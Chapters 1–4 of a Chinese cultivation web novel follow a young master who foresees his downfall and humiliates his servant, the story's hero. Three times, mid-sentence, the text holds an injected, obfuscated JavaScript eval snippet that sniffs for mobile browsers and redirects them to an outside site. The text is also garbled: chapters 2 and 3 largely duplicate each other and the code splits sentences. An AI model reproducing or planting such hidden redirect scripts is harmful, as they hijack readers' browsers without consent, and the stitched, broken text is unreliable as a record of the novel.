《龙傲天?我的玩物罢了》 1. 第 1 章 远山如黛,云雾浩渺。一座石亭坐落峰顶,三面开阔,视野极佳,藏匿于青翠古木之后,幽静出尘。 一人懒散坐于亭中,以手支颐,闭目假寐。 却有另一人慌慌张张扑到亭前,气喘吁吁,大呼道:“公、公子,不好了,出、出事了!” “慌什么?”谢妄之闻声睁眼,向后微侧过头,鬓发拂过流畅锋利的颌角,脑后高束的乌发轻轻颤动,低沉声线掺着慵懒的哑,“天塌了?” 来者是谢妄之的仆从,年岁尚轻,生得一张讨喜的圆脸,性子单纯。 “不是不是!”小仆从闻言把头摇得像只拨浪鼓,叠声反驳,“是池无月冲撞了贵客,现下正被押在清明堂里,好多人看着呢!大公子请您过去。” 池无月一样是谢妄之的仆从,但谢妄之向来最喜欢他,平日都将他带在身边,也很是宠溺纵容。这下池无月被押在清明堂,保不齐要受什么责罚,他定然要为其讨个公道。 可话音落了半晌,谢妄之都没有反应。小仆从心中纳闷,忍不住抬眸看向亭中,试探问:“公子不是很喜欢他么,难道不去看看吗?” “呵。”谢妄之微勾唇角,笑意却凉薄,而后慢条斯理站起身,往山下走,“去啊,怎么不去。” 方才他在石亭里小憩,连续做了两个荒诞迷离的梦,却又无比清晰真实,竟连梦境最后经历的痛楚,梦醒后还残留在他身上,令他浑身战栗,头疼欲裂。 一个在他醒来后便忘却。 另一个……他梦见自己生活在一部修仙话本中,不断地身死后又重来,活得像是牵线木偶,无法把握自己的人生,每一次的结局都相同的凄惨。 在这部话本中,他是前期负责折辱主角的炮灰反派,出身高贵,姿容卓绝,天赋异禀,平素高傲狂妄,行事随心所欲,树敌众多。却因自身实力出众与谢家庇佑,无人敢惹。 未想有朝一日竟自食恶果,被仇家设计,身败名裂。还被剜去剑骨,一夕间从天之骄子沦为残废,此后一生再握不住剑,直不起腰,下场凄惨。 而话本中的主角,命运与他截然相反。 起于微末,终渡劫登仙,与天同寿。还亲手创立仙盟,建立新秩序,打破修仙界中世家垄断资源的霸权局面,为后世敬仰。 如此人物,竟是他养在身边随意逗玩的贱奴,池无月。 话本中提到,他沦为残废之后,池无月荣登剑道魁首,多得是人巴结。有好事者将从他身上剜下的剑骨送给池无月,对方面色难看,大概是嫌晦气,随意丢了。 不仅如此,那话本中还具体提到池无月对他的评价。 一想到他平日对池无月的宠溺照顾,实际对池无月而言只是“折辱”,他对池无月的殊待,也只是“令人恶心”,提及在他身边的经历,更是“不愿回忆”,谢妄之就想笑。 难怪他跌落云端之时,身边跑得最快的就是池无月呢。得到他的剑骨之后,池无月便是随手丢弃,也没想过要还给他。 修者不常有梦,更有体质异于常人者,可在梦中预知未来,所谓“知命者”。 这般具体、完整、连续的梦境,狂妄如谢妄之,他只觉得自己便是“知命者”,并不怀疑其中的真实。 而得知池无月的真面目,谢妄之还会喜欢他吗? 呵。他可太喜欢了。 * 谢家的清明堂中。 适逢各世家子弟至谢家游学,此时堂中人来人往,多得是些上赶着凑热闹的年轻面孔,堂下围观者挤了一圈又一圈。 谢家家风肃正,建筑风格也与家风保持一致,清明堂中布置简朴端庄,硬生生被这群少年染上几分明媚鲜活。 只见堂中高位坐着一名青年公子,似乎在等着什么人,一手端着茶托,另手拈着茶盏轻轻滑动,慢条斯理地品茗,气质温文尔雅。他是谢家大公子,谢妄之的兄长,谢霁。 堂下跪着一名少年,神色平静地看着前方。面相看着大约十七八岁,风华正茂,五官昳丽逼人,身形并不十分健硕,有种少年人独有的单薄,挺拔而秀美。正是池无月。 他身边还站着几个与他年岁相仿,却鼻青脸肿、浑身挂彩的少年,大概就是池无月冲撞的贵客了。 池无月跪在堂下出神,只觉厌倦烦躁。 自他知晓自己只是一部修仙话本中的主角,一切只能按照书中所写行事之后,已不知轮回了多少次。 他一遍遍重复过着既定的人生,只觉枯燥乏味。也曾尝试过反抗、做出改变,可他故意退避、歪曲的剧情,总是能在他意想不到的时候回归最初。 便连他遇上的所有人,无论他做出什么事,对方给予他的反应也始终如一,像没有生命的人形木偶,呆板笨拙,愚蠢得可笑。 重复太多次,他早已能分毫不差地预先在脑中编排他将会遇到的所有人、事,像是给看不见也摸不着的观众唱戏。 他周遭的万物都是虚假的。 他哪里是什么主角,他只是囚徒。 “兄长。” 等候多时,清明堂中终于出现谢妄之的身影。 虽然堂中人数众多,但碍于谢霁的威严,堂中鲜有人交头接耳,一片鸦雀无声。倒衬得谢妄之不大的音量也如洪钟般响亮。 兀自沉浸在自己的思绪中,池无月并未意识到谢妄之出现在清明堂中的时机,与他预想中的差了些许。 “先前别人都在上课,独不见你。你去哪儿了?”谢霁闻声扫了眼姗姗来迟的人,随手将茶盏搁在桌案。说得严厉,神色并无波澜,语气也和缓。 “先生教的太简单,我懒得去。”谢妄之随意摆手,几步走到堂中,扫了眼鼻青脸肿的少年们,抱臂嗤笑了声,“明天才是擂台赛吧,怎么,你们这就排练上了?放心吧,再怎么努力也打不过我的。” 谢家子弟各个斯文谦逊,谢妄之倒是特立独行,嚣张又狂妄。家长管他不住,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596423|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有谢霁的话他偶尔听听。但兄长去得早,此时再闻见他的声音,恍如隔世。 “谢妄之!你的人将我们打成这样,叫我们明日还如何比赛?伤得最重的,现在还躺着来不了呢!胜之不武,你有什么好得意的?” 被打的几个少年恼羞成怒,咬牙切齿地怒瞪他,眼神似能在他身上剜下一片肉,接着纷纷亮出自己的伤处,只见大片乌青,皮开肉绽,鲜血淋漓,好不可怜。 但其实这几个也不算什么好人,并非无故被打。他们因看不惯谢妄之,又不敢找本人麻烦,便聚众挑衅池无月,引得池无月动怒,出手伤人。 这个年纪,好的不一定学,坏的倒是一学就会。几人见池无月生得貌美,迫不及待用上最近所学,拿些从不正经话本上学来的腌臜下作话羞辱他。 但在场围观者并不一定知道实情,单看那露出来的伤口血淋淋一片、谢妄之那招人的性格与做派,再加上一点道听途说,便是无冤无仇的过路人,也很难对谢妄之生出什么好感。 于是风评一面倒: “池无月只是个下人,怎么敢随便打人啊?还把人打成这样,都没法参赛了,肯定是受他指使啊。” “谢妄之怎么这样啊,太过分了!” “而且据说谢妄之最宠那个池无月了,现在还这么嚣张,肯定会保下池无月吧。谢家也管不住他,所以这事儿不会就这么了了吧?” “啊?不要吧。真没想到谢家会这样……那我们还要在谢家待上一个月呢,要是他们再欺负人可怎么办啊?” “谁让我们惹不起谢家呢,只能自认倒霉了。努努力,争取下辈子投个好胎吧。” 围观的少年们见状立刻义愤填膺,开始声讨谢妄之,乃至谢家。虽是窃窃私语,但修者各个耳聪目明,怎听不到。 “诸位,稍安勿躁。此事错在谢家,定会给各位一个交代。” 温润如谢霁,此时也听得蹙眉。虽然知道这些小辈只是初生牛犊不怕虎,说话无遮无拦,但也不能放纵他人诋毁谢家,置家族声名于不顾。 “谢妄之。”他看向自己的弟弟,面色微沉,“池无月是你带进谢家的人,你要怎么处理?” 闻言,谢妄之看向池无月。 少年正跪在他脚边等他责罚,却敢抬头看他。脊背挺得笔直,昳丽眉眼极具攻击性,目光不驯。 从前的他极喜爱对方这张脸,对其相当宠溺纵容,甚至不舍得给人刻下奴印,才让贱奴有背叛他的机会。 如今他已觉碍眼。 “抱歉,没有好好管教贱奴,确实是我不对。” 他微笑伸手扇了少年一巴掌,把人扇倒在地,白皙如玉的脸颊迅速浮出一个掌印,鲜明艳丽。 紧接着,他毫不怜惜地踩上对方的脸,鞋履压着那张漂亮脸蛋来回碾,微微俯身居高临下地看着对方在他脚底下挣扎,勾唇冷笑: “池无月,你算什么东西,也敢这么看我?” 2. 第 2 章 池无月思忖着谢妄之为何会有这些异常,不知不觉有些走神。直到对方忽然停下动作,满脸不悦地瞪着他。 意识到自己又不自觉盯着人看,他便装作乖顺地垂下头,但对方仍不满意,冷笑了声,随即撂下碗筷,取出巾帕擦净脸,将其随意丢在桌上。 而巾帕的一角恰落在盛菜的盘子里,逐渐被汤汁浸润,洇成深色。 谢妄之脊背往后一靠,抱起双臂,冲着池无月微抬下颌:“盯我这么久,想必你也饿了。既然如此,剩的这些,赏你了。” 他唇角弧度略略扩大,表情恶劣又嚣张,“爬过来,像狗一样趴着吃,一点都不许剩。” “……”池无月微微一怔,又难以自制地兴奋起来。 在清明堂里,谢妄之的反应与话本所写不同确实令他惊喜,但他其实不敢抱太大希望。 毕竟谢妄之太过高傲,只是为家族颜面惩治奴仆,面上其实也说得过去,实际的谢妄之可能与之前没什么不同。而剑招出错、吃下自己不爱吃的菜,这样小的事,偶然发生一两次也可以理解。 但此时四下无人,谢妄之不必再为了谁罚他,话本中也未写到这件事,谢妄之却依然选择羞辱他。 这似乎可以说明,羞辱他出自谢妄之“自己”的意愿。 这令他期待,甚至心生奢望: 谢妄之与他一样清醒,他在与一个“真正的人”对话。 既然如此,谢妄之想看他屈辱,那他便屈辱。 而谢妄之毫无所觉,看着池无月抬起头,眼神如狼犬般凶狠,薄唇紧抿,垂在身侧的双手也攥成了拳,不由嗤笑,用手指轻点了点桌案,出声催促: “怎么,脚底生根了?那本公子便勉为其难帮你倒在地上,如何?” “……谢妄之!” 少年似乎终于憋不住,咬牙切齿连名带姓地叫了他一声。纹刻在脖颈与右边脸颊的奴印猝然发亮,红梅开得更艳,似要沁出血。 似乎在与奴印的约束激烈争斗,少年身躯微颤,双目发红,呼吸变得粗重,快将银牙咬碎,颌角微鼓。 又挣扎片刻,他颤抖着缓慢屈膝下跪,猛然脱力,膝关重重磕在地上,发出闷响。 他直挺挺地跪立,却似有一只无形的大掌在用力推着他的脊背,直至压弯他的腰,迫使他不得不伸出双手撑在地上。 “还等什么?”谢妄之愉悦勾唇,冲对方轻勾手指,“爬过来。” 话音落下,少年果真手足并用地一步步爬到他身边,似不愿令他看到自己的脸,头颅低垂,乌发如瀑倾泻至身前,慢悠悠晃荡,身形秀美纤细,似野地里勾人的艳鬼。 等他的同时,谢妄之将剩菜统统倾倒在一个盘子里,躬身放到池无月身前。而后交叠双腿,用足尖勾起池无月的下颌,迫使对方昂起头,微笑道:“吃吧,乖狗。” 少年双目赤红,眉心狠折,眼神似能剜下他身上的肉。脸侧的梅花红得沁血,竟使这张脸更艳上三分,比妖魅更蚀骨销魂。 再屈辱,池无月也只得乖乖照做,像狗一样趴在地上,垂下头,一口一口去吃谢妄之的剩饭。不能用手,吃得鼻尖与脸颊都沾上油汁,触感黏腻,实在狼狈。 而谢妄之就坐在边上看戏,闲适慵懒地支着头。直到池无月将他倒的饭菜吃干净,才奖赏似的丢下自己刚用过的、还沾了汤汁的巾帕。 “……”池无月抬眸看他一眼,默不作声地翻到干净一面,擦自己的头脸。 “真乖。”谢妄之忍不住笑,伸手轻摸了摸少年的头,逗弄宠物一样,手指搔刮着对方的下巴。 不服管的贱奴终于低眉顺眼,叫他满意得很,手指轻触白日被他扇过的半边脸,描摹艳丽的掌印,随口问:“脸上还疼么?兄长是怎么罚你的?” “……不疼。” 少年仍跪在他脚边,献祭般昂着头,身体在他触碰伤口时微微战栗,浓密长睫如蝶翅般轻颤,眸光潋滟,我见犹怜。 见状,谢妄之动作微顿,没再追问,只从袖中取出一只瓷瓶,揭开盖子,用手指取出一点晶莹膏体,亲自给贱奴上药。 少年惊愕挑眉,下意识往后一躲,见他蹙眉又乖乖把脸贴上来,低软道:“多谢公子。” 谢妄之哼笑了声。 羞辱池无月自然解气,可这还不够。 觉得恶心是吗? 那他偏要让池无月心甘情愿地任他拿捏,跪在地上求他垂怜。 * 翌日,世家演武比赛照常举行。会场聚齐年青子弟,热火朝天。 修仙界中,五大世家修炼法门各有专攻,为给年轻人提供交流切磋平台,每年各世家会定期组织开放游学。但除了世家子弟,也有不少散修参与。 而演武比赛是游学的常规项目,分为两轮举行,一轮是个人擂台赛,一轮是团体赛,采取积分制,胜者得分,失败不扣分,连胜翻倍,最后以积分排名得出优胜者。 每位选手都会得到一枚参赛玉牌,会自动记录选手的积分,并凭借玉牌匹配对手。最初遇上的对手是随机的,之后便会根据个人积分,匹配实力相近的对手。 谢妄之不论是去哪家游学,一向只参与个人赛,但未尝败绩,积分遥遥领先。于是他的比赛每次都成了众人关注的焦点。 轻松地一招致胜后,观众席爆发出一片喝彩声。而谢妄之淡然下台,又将手里的参赛玉牌交给裁判席,参与下一场的比赛匹配。 一个上午过去,他已连胜九场,导致匹配对手的时间也越来越长,等得他有些不耐烦,心中不好的预感也愈来愈强烈。 ——在梦中,他的九连胜会被一个名不见经传的散修终结。 直到傍晚他才匹配到对手,果然是一名散修。 对方看着年岁极轻,生得唇红齿白、眉清目秀,却使一把大刀,本该是温润干净的长相,倒平添几分桀骜不驯。 谢妄之飞身上台时,对方已等他好一会儿,大概是之前也等过别人,一见他便忍不住抱怨道:“你们这些高贵的公子小姐,就打个架,难不成还要事先梳洗打扮一下么?” “他们?我不知道。”谢妄之暗自打量对面,眸色微沉,面上只是耸肩摊手,“我只是太久遇不到对手,懒得在这等。” 对方疑道:“怎会?你一共打了几场?” “九场,九胜。”谢妄之微微一笑。 “你!你叫什么名字?”少年睁圆眼睛,随即恍然大悟,“哦,你是那个,谢妄之?” “嗯。” “我打了二十多场。” “哦。”谢妄之赞赏点头,“那你打得挺多的,好厉害。” “……” 若是当真厉害,哪里用得着打这么多场?哪有谢妄之这么夸人的? 少年沉下脸,双手攥紧大刀:“记住了,我叫崔岫,是来终结你的九连胜的。” 能够达成九连胜,对手实力断不能小觑。但他也不是好惹的!! 说罢,他提刀冲了上去。银亮的刀身猛然迸出赤色的火光,火舌顺着刀柄攀缘向上,直到把他整个人都笼在火焰之中,光芒炽盛,似能与烈日争辉。 谢妄之站在原地,眉目一凛,侧身避让向他挥砍下来的大刀,趁着对方这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596424|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞬的停顿,猛地刺出一剑。 未想崔岫动作出乎意料地灵敏,飞速提刀接住他的攻势,短兵相接迸出刺目花火,甚至震得谢妄之有些架不住,只得后撤几步拉开距离,反手挥出数道冰寒剑气。 剑气在半空分裂,化作千万道冰锥,转瞬形成铺天盖地的光幕,整个演武会场都被笼罩在凛冽风雪之中,锐不可当。 崔岫忙将大刀架在身前,却被步步逼至擂台一角,周身燃烧的火焰险些被风雪浇熄,索性放弃格挡,仗着体魄强悍硬生生接下。 接着猛然催动灵力,刀身燃烧的火焰瞬息暴涨,伴随一声猛兽咆哮,只见火焰化作一头雄狮穿梭风雪,飞扑向谢妄之。 而趁着谢妄之与火狮缠斗时,崔岫融化了扑面的坚冰,接着大喝一声,再度冲了上去。 那柄大刀在他手中像是没有重量,提挥劈砍间不见明显滞涩停顿。招式霸道凌厉,不能硬接,又与火狮配合默契,一人一兽几乎打得谢妄之节节败退。 局势颠倒,台下观众的心跟着悬起来,气氛愈加火热,甚至有人开盘下注。 “虽然我不喜欢谢妄之,但是我承认他还是有实力的。” “切,就他?兄弟别等会儿输得裤子都没了嗷!我押崔岫!” “那我也押崔岫!” 不管台下人如何嘲讽,此时越是劣势,越要冷静。谢妄之深吸口气,仔细观察着对方的动作习惯,试图寻找突破口,边打边退,留存体力。 “来啊!只会躲吗?看来九连胜也不过如此!” 对手见他屡次退避,似是觉得他能获得九连胜,运气更胜一筹,出招愈加狠厉果断,想要快速终结比赛。 但随时间流逝,灵力已快要见底,他渐渐急迫起来,出招开始顾头不顾尾。 而谢妄之等的就是这一刻。 他故意卖了破绽,任由火狮扑向自己,不闪不避。 而在崔岫紧随其后欲要补上一刀时,他出手如电,随心剑尖已然悬停在距对方的咽喉不足三寸之处,逸散的寒气随时能突破对方的皮肤。 感受着刺骨剑气,崔岫浑身僵住,双目睁大,良久才放下刀,朝谢妄之拱手,心服口服道:“是我输了,你很厉害。” “承让。”谢妄之微笑回礼。 台下寂静一瞬后猛然爆发出尖叫。 * 获得十连胜之后,谢妄之的积分再次翻倍,已高得令人望而却步,就算此后不再参与匹配,也没有任何人能超过他。 他回到自己房中歇息,掩上房门的瞬间,拼命捺下的猩甜一下冲出咽喉,下颌染上一片猩红。整个人也跟着摇摇欲坠,险些顺着门板滑落跌坐。 勉力站稳,他用拇指擦去唇边血迹,随即褪下自己的衣物检查伤口。 只见右边肩膀伤势惨重,整条手臂都在无意识地发抖,现下别说提剑,连握拳都难。 从衣袖中翻出伤药,但还未揭开盖子便因指尖颤抖得太厉害,失手让瓷瓶掉在地上。 他下意识蹲身去捡,可只是微微俯身便感到一阵强烈的头晕目眩,视野跟着一片花白朦胧。 而恰在此时,门板忽然被人轻叩:“公子。” 听出是池无月的声音,谢妄之不由蹙眉,第一反应是不能让自己现下这副模样被人看到。 但意识到自己为何会有这样的想法之后,他不由抬手掩面,自嘲一笑。 他生来高傲,从不愿在池无月面前示弱。 可那又如何呢? 到头来人家只觉得他恶心。 他强撑着坐到桌边,冷声道:“滚进来。” 3. 第 3 章 池无月思忖着谢妄之为何会有这些异常,不知不觉有些走神。直到对方忽然停下动作,满脸不悦地瞪着他。 意识到自己又不自觉盯着人看,他便装作乖顺地垂下头,但对方仍不满意,冷笑了声,随即撂下碗筷,取出巾帕擦净脸,将其随意丢在桌上。 而巾帕的一角恰落在盛菜的盘子里,逐渐被汤汁浸润,洇成深色。 谢妄之脊背往后一靠,抱起双臂,冲着池无月微抬下颌:“盯我这么久,想必你也饿了。既然如此,剩的这些,赏你了。” 见池无月僵着身体不动,他唇角弧度略略扩大,又恶劣地补充一句:“爬过来,像狗一样趴着吃,一点都不许剩。” “……” 闻言,少年猛地抬起头,似是觉得屈辱,看他的眼神如狼犬般凶狠,薄唇紧抿,垂在身侧的双手也攥成了拳。 “怎么,脚底生根了?”谢妄之嗤笑,手指轻点了点桌案,无声催促,“既然如此,本公子便勉为其难帮你倒在地上,如何?” “……谢妄之!” 少年终于憋不住,咬牙切齿连名带姓地叫了他一声。纹刻在脖颈与右边脸颊的奴印猝然发亮,红梅开得更艳,似要沁出血。 似乎在与奴印的约束激烈争斗,少年身躯微颤,双目发红,呼吸变得粗重,快将银牙咬碎,颌角微鼓。 又挣扎片刻,他颤抖着缓慢屈膝下跪,猛然脱力,膝关重重磕在地上,发出闷响。 他直挺挺地跪立,却似有一只无形的大掌在用力推着他的脊背,直至压弯他的腰,迫使他不得不伸出双手撑在地上。 “还等什么?”谢妄之愉悦勾唇,冲对方轻勾手指,“爬过来。” 话音落下,少年果真手足并用地一步步爬到他身边,似不愿令他看到自己的脸,头颅低垂,乌发如瀑倾泻至身前,慢悠悠晃荡,身形秀美纤细,似野地里勾人的艳鬼。 等他的同时,谢妄之将剩菜统统倾倒在一个盘子里,躬身放到池无月身前。而后交叠双腿,用足尖勾起池无月的下颌,迫使对方昂起头,微笑道:“吃吧,乖狗。” 少年双目赤红,眉心狠折,眼神似能剜下他身上的肉。脸侧的梅花红得沁血,竟使这张脸更艳上三分,比妖魅更蚀骨销魂。 再屈辱,池无月也只得乖乖照做,像狗一样趴在地上,垂下头,一口一口去吃谢妄之的剩饭。不能用手,吃得鼻尖与脸颊都沾上油汁,触感黏腻,实在狼狈。 而谢妄之就坐在边上看戏,闲适慵懒地支着头。直到池无月将他倒的饭菜吃干净,才奖赏似的丢下自己刚用过的、还沾了汤汁的巾帕。 “……”池无月抬眸看他一眼,默不作声地翻到干净一面,擦自己的头脸。 “真乖。”谢妄之忍不住笑,伸手轻摸了摸少年的头,逗弄宠物一样,手指搔刮着对方的下巴。 不服管的贱奴终于低眉顺眼,叫他满意得很,手指轻触白日被他扇过的半边脸,描摹艳丽的掌印,随口问:“脸上还疼么?兄长是怎么罚你的?” “……不疼。” 少年仍跪在他脚边,献祭般昂着头,身体在他触碰伤口时微微战栗,浓密长睫如蝶翅般轻颤,眸光潋滟,我见犹怜。掩在袖中的双手却攥紧成拳,掌心深陷。 见状,谢妄之动作微顿,没再追问,只从袖中取出一只瓷瓶,揭开盖子,用手指取出一点晶莹膏体,亲自给贱奴上药。 少年惊愕挑眉,下意识往后一躲,见他蹙眉又乖乖把脸贴上来,低软道:“谢谢公子。” 谢妄之哼笑了声。 羞辱主角自然解气,令他心情愉悦。 可这还不够。 觉得恶心是吗? 那他偏要让主角心甘情愿地任他拿捏,跪在地上求他垂怜。 * 翌日,世家演武比赛照常举行。会场聚齐五大世家及以外的年青子弟,热火朝天。 五大世家修炼法门各有专攻,为给年轻人提供交流切磋平台,每年各世家会定期组织开放游学。为了不给家族丢面,派出去的自然都是精英。除了世家子弟,也有不少散修参与。 而演武比赛是游学的常规项目,分为两轮举行,一轮是个人擂台赛,一轮是团体赛,采取积分制,胜者得分,失败不扣分,连胜翻倍,最后以积分排名得出优胜者。 每位选手都会得到一枚参赛玉牌,会自动记录选手的积分,并凭借玉牌匹配对手。最初遇上的对手是随机的,之后便会根据个人积分,匹配实力相近的对手。 作为谢家少家主,谢霁坐于裁判席主持。也不知他如何处理昨日的那事儿,今日几人碰见,也算相安无事。 谢妄之不论是去哪家游学,一向只参与个人赛,但未尝败绩,积分遥遥领先。于是他的比赛每次都成了众人关注的焦点。 这次也一样。 轻松地一招致胜后,观众席猛然爆发出一片喝彩声。而谢妄之淡然下台,又将手里的参赛玉牌交给裁判席,参与下一场的比赛匹配。 一个上午过去,他已连胜九场,根本没有遇到对手,导致匹配对手的时间也越来越长,等得他有些不耐烦。 直到傍晚,他才遇到新的对手,是一名不隶属于任何世家与门派的散修。 那名散修看着年岁极轻,生得唇红齿白、眉清目秀,却使一把大刀,本该是温润干净的长相,倒平添几分桀骜不驯。 谢妄之飞身上台时,对方已等他好一会儿,大概是之前也等过别人,一见他便忍不住抱怨道:“你们这些高贵的世家公子小姐,就打个架而已,难不成还要事先梳洗打扮一下?” “他们?我不知道。”谢妄之不动声色地打量对面,耸肩摊手,“我只是太久遇不到对手,懒得在这等。” 少年一怔:“你一共打了几场?” “九场,九胜。”谢妄之微微一笑。 “你!”少年惊愕地睁圆眼睛,“你叫什么名字,你是那个,谢妄之?” 他先前便听过谢妄之的名字,但从未交手过。能连胜九场,运气自然好,但实力断不能小觑。 “嗯。” “我打了二十多场。” “哦。”谢妄之赞赏点头,“那你打得挺多的。” “……” 少年有些不高兴,沉下脸,双手攥紧大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596425|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀:“记住了,我叫崔岫,是来终结你的九连胜的。” 就算对手实力很强,但他也不是好惹的!! 说罢,他提刀冲了上去。银亮的刀身猛然迸出赤色的火光,火舌顺着刀柄攀缘向上,直到把整个人都笼在火焰之中。 谢妄之站在原地,侧身避让向他挥砍下来的大刀,趁着对方这一瞬的停顿,猛地刺出一剑。 未想崔岫动作出乎意料地灵敏,飞速提刀接住他的攻势,短兵相接迸出刺目花火,甚至震得谢妄之有些架不住,只得后撤几步拉开距离,反手挥出数道冰寒剑气。 对方将大刀架在身前格挡,火焰几息间便融化了坚冰,接着大喝一声,继续冲了上来。 那柄大刀在他手中像是没有重量,提挥劈砍间不见明显滞涩停顿。招式霸道凌厉,不能硬接。 谢妄之仔细观察着对方的动作习惯寻找突破口,并不急于出招,边打边退。但局势表面上看是一面倒,使得台下观众的心跟着悬起来。 “我天哪,谢妄之会输吗?” “不会吧。虽然我不喜欢他,但是我承认他还是有实力的。” “来啊!只会躲吗?看来九连胜也不过如此!” 少年见他屡次退避,似乎是觉得他能获得九连胜,运气更胜一筹,出招愈加狠厉果断,想要快速终结比赛,渐渐急迫起来,顾头不顾尾。 而谢妄之等的就是这一刻。 他故意卖了破绽,在大刀砍向自己肩膀的瞬间,随心剑尖已然悬停在距对方的咽喉不足三寸之处,逸散的寒气随时能突破对方的皮肤。 崔岫浑身僵住,缓缓放下刀,朝谢妄之拱手:“是我输了,你很厉害。” “承让。”谢妄之微笑回礼。 台下猛然爆发出一片尖叫。 * 获得十连胜之后,谢妄之的积分再次翻倍,已高得令人望而却步,就算此后不再参与比赛,也没有任何人能超过他。他也不再参与匹配,而是回到自己房中。 掩上房门的瞬间,拼命捺下的猩甜一下冲出咽喉,下颌染上一片猩红。 他用拇指擦去唇边血迹,小心翼翼褪下自己的衣袖检查伤口。只见右边肩膀大片淤青,整条手臂都在无意识地发抖,现下别说提剑,连握拳都难。 他从衣袖中翻出伤药,还未揭开盖子便因指尖颤抖得太厉害,失手把瓷瓶丢在地上。 只是思考一瞬,谢妄之便传音给池无月:“过来,帮我上药。” 而池无月其实一直悄悄跟着他,看他打了一天的比赛,连他中途去山上石亭偷闲都跟着。此时正如昨日一般藏在树上,应声之后特意等了一会儿才进去。 但他有些困惑。因为他认识的谢妄之,从不在他面前示弱。 谢妄之有其他的仆从,若是受伤了,上药这种事,永远轮不上他来干。甚至养伤的那段时间,谢妄之会故意躲着他,不叫他跟着。 “不为什么。” 闻见谢妄之的声音,池无月这才惊觉自己竟是把话问出口。 但对方显然不知道他在问什么,只是自负地勾唇一笑,续道:“只是不想输。” 4. 第 4 章 不想输? 闻言,池无月回忆起方才那场比赛。 那名散修,崔岫,他认得,日后也是名动三界的存在,人称“玉面刀客”,曾以一人降魔三千,妖邪再不敢进犯。后来加入他麾下,是他的得力手下之一。 而与谢妄之的这一场比赛,是崔岫的成名战,不仅终结了谢妄之的九连胜,还最终拔得头筹,将一众世家子弟的脸面踩在脚下。 此后,谢妄之虽不至于一蹶不振,但他的陨落确实从此处开始。 他知晓崔岫的实力,自然也清楚,这一战谢妄之打得多艰难。而在他的记忆中,从前的谢妄之没有赢过一次。 连这样的剧情都能扭转么? 回忆起自己无数次的失败,到头来只能在囚笼中徒劳挣扎,任由看不见的丝绳一遍遍牵引他照着话本上演,池无月愈加兴奋期待起来。 这个人,到底还能给他多少惊喜? ……他也能得救么? “愣着做什么?快些。” 谢妄之打断他的思绪,用另一手将伤药丢过来,随即褪下外衣,赤着上身坐在一把圆凳上,微敞双臂,方便他上药。 “是。”池无月应了声,依言过去,低垂眼睑遮去眸中幽暗,视线落在谢妄之的脊背,指尖轻触上去来回摩挲,一点点给人涂抹药膏。 剑修也锻体,身为剑道翘楚的谢妄之更是如此。 他身材颀长,肩宽腰窄,浑身肌肉紧实,脊背线条如山峦连绵起伏,流畅分明,汗水顺着沟壑滚落,隐没在深色的下裤。 蜜色肌肤本该光洁无暇,此时却布了大片青紫,似被烈火烧灼,还有几处斑驳的焦黑。却无损他的气度,反衬得颇有男子气概,斑斓色彩交混着冲击视觉,愈发叫人挪不开眼。 而上药途中,他注意到谢妄之搭在双膝的手掌紧紧攥成了拳,指骨分明,小臂浮起根根青筋。大概是强忍着疼,却从头至尾一声不吭。 他悄悄抬眼去看谢妄之的脸。 薄唇紧抿,沾染艳丽血色。颌角锋利,侧颜深邃如刻。晶莹汗水顺着脖颈流淌,在喉结凸起处凝滞一瞬,猛地加速坠落。 “……”池无月顿了顿,克制地收回目光,转移注意力似的出声嘱咐,嗓音微哑,“这几日,公子还是小心一些,不要沾水。” “怕什么,死不了。”对方嗤笑了声。 “……”池无月默不作声垂下头。 不是的。是因为要再上一遍药。 * 后背有伤,谢妄之只得趴着睡,大概是因压迫胸口导致呼吸不畅,他竟又做了梦。 在梦中,他再一次被人剜去剑骨,像条虫一样只能在地上爬,无论是谁都能欺负他。他不肯低头求人施舍,便只能与野狗争食、啃树皮,三天饿九顿。 为了躲避仇家追杀,他只得东躲西藏、隐姓埋名,把自己弄成人不人、鬼不鬼的模样。衣着脏乱不堪,蓬头垢面,甚至身上散发出不明臭味儿,刺鼻难闻,叫人退避三舍。 可最后还是被人找到,当场敲晕,五花大绑带走。 他原以为找到他的是他的仇家,未想到,对方只是将他囚在一处屋中,将他刷洗干净,每日好吃好喝地供着他。 忽有一日,紧闭的大门被人推开,晨光如瀑倾泻,他终于见到授意将他绑来此处的人。 但他看不清对方的脸,也认不出对方是谁。 那时他正趴在地上,准备爬到窗边坐坐,视角太低,只能看见落在面前的一双雪色靴履,衣角同样纤尘不染。 对方撩起袍摆,单膝跪在他身前,向他俯身的同时,隐有浅淡梅香传来。纤长手指轻捏住他的下颌,迫使他仰起脸,却只是望着他,一语不发。 虽看不清面容,但谢妄之不喜欢对方的眼神。 